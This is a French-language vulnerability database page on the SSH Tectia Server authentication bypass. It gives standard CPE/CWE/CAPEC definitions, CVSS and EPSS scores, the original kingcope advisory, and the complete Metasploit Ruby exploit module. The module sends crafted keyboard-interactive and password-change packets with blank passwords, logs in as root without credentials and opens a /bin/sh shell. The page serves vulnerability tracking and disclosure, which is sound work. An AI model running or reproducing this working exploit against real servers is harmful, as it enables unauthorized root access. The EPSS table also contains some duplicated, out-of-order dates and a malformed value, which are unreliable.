CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The SSH USERAUTH CHANGE REQUEST feature in SSH Tectia Server 6.0.4 through 6.0.20, 6.1.0 through 6.1.12, 6.2.0 through 6.2.5, and 6.3.0 through 6.3.2 on UNIX and Linux, when old-style password authentication is enabled, allows remote attackers to bypass authentication via a crafted session involving entry of blank passwords, as demonstrated by a root login session from a modified OpenSSH client with an added input_userauth_passwd_changereq call in sshconnect2.c.
Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
78.27%
–
–
2022-05-08
–
–
76.69%
–
–
2022-08-21
–
–
75.35%
–
–
2022-11-20
–
–
73.6%
–
–
2023-02-19
–
–
73.02%
–
–
2023-03-12
–
–
–
49.36%
–
2023-06-25
–
–
–
47.45%
–
2023-10-29
–
–
–
49.14%
–
2023-12-31
–
–
–
44.16%
–
2024-02-11
–
–
–
47.43%
–
2024-03-17
–
–
–
51.58%
–
2024-03-31
–
–
–
51.58%
–
2024-04-14
–
–
–
51.26%
–
2024-06-02
–
–
–
60.08%
–
2024-09-22
–
–
–
47.91%
–
2024-11-03
–
–
–
45.79%
–
2024-12-22
–
–
–
46.96%
–
2024-12-29
–
–
–
37.19%
–
2025-02-16
–
–
–
35.77%
–
2025-01-19
–
–
–
37.19%
–
2025-02-16
–
–
–
35.77%
–
2025-03-18
–
–
–
–
24.23%
2025-03-30
–
–
–
–
25.75%
2025-03-30
–
–
–
–
25.75,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2012-12-01 23h00 +00:00 Auteur : kingcope EDB Vérifié : Yes
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23082.zip
SSH Tectia Remote Authentication Bypass
Tectia is the commercial OpenSSH solution. The product can be found at:
www.tectia.com
An attacker in the possession of a valid username of an SSH Tectia installation running on UNIX (verified: AIX/Linux) can login without a password.
The bug is in the SSH USERAUTH CHANGE REQUEST routines which are there to allow a user to change their password. A bug in this code allows an attacker to login without a password by forcing a password change request prior to authentication.
The vulnerability has been verified on UNIX operating systems and at least on this (recent) versions:
• SSH-2.0-6.1.9.95 SSH Tectia Server (Latest available version from www.tectia.com)
• SSH-2.0-6.0.11.5 SSH Tectia Server
A default installation on Linux (version 6.1.9.95 of Tectia) is vulnerable to the attack.
Kingcope
Date de publication : 2012-12-04 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Tectia SSH server for Unix-based
platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
before password authentication, allowing any remote user to bypass the login
routine, and then gain access as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'kingcope', #Original 0day
'bperry',
'sinn3r'
],
'References' =>
[
['EDB', '23082'],
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
],
'Privileged' => true,
'DisclosureDate' => "Dec 01 2012",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'The username to login as', 'root'])
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def check
connect
banner = sock.get_once
print_status("#{rhost}:#{rport} - #{banner}")
disconnect
return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
return Exploit::CheckCode::Safe
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
#
# This is where the login begins. We're expected to use the keyboard-interactive method to
# authenticate, but really all we want is skipping it so we can move on to the password
# method authentication.
#
def auth_keyboard_interactive(user, transport)
print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
auth_req_pkt = Net::SSH::Buffer.from(
:byte, 0x32, #userauth request
:string, user, #username
:string, "ssh-connection", #service
:string, "keyboard-interactive", #method name
:string, "", #lang
:string, ""
)
user_auth_pkt = Net::SSH::Buffer.from(
:byte, 0x3D, #userauth info
:raw, 0x01, #number of prompts
:string, "", #password
:raw, "\0"*32 #padding
)
transport.send_message(auth_req_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
# USERAUTH INFO
transport.send_message(user_auth_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
2.times do |i|
#USRAUTH REQ
transport.send_message(auth_req_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
# USERAUTH INFO
transport.send_message(user_auth_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
end
end
#
# The following link is useful to understand how to craft the USERAUTH password change
# request packet:
# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
#
def userauth_passwd_change(user, transport, connection)
print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
pkt = Net::SSH::Buffer.from(
:byte, 0x32, #userauth request
:string, user, #username
:string, "ssh-connection", #service
:string, "password" #method name
)
pkt.write_bool(true)
pkt.write_string("") #Old pass
pkt.write_string("") #New pass
transport.send_message(pkt)
message = transport.next_message.type
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
transport.send_message(transport.service_request("ssh-userauth"))
message = transport.next_message.type
if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT
shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)
connection = nil
return shell
end
end
end
def do_login(user)
opts = {:user=>user, :record_auth_info=>true}
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
transport = Net::SSH::Transport::Session.new(rhost, options)
connection = Net::SSH::Connection::Session.new(transport, options)
auth_keyboard_interactive(user, transport)
userauth_passwd_change(user, transport, connection)
end
def exploit
# Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're
# engaging a variety of SSHD targets on a network.
if check != Exploit::CheckCode::Appears
print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
return
end
c = nil
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
c = do_login(datastore['USERNAME'])
end
rescue Rex::ConnectionError, Rex::AddressInUse
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
end
handler(c.lsock) if c
end
end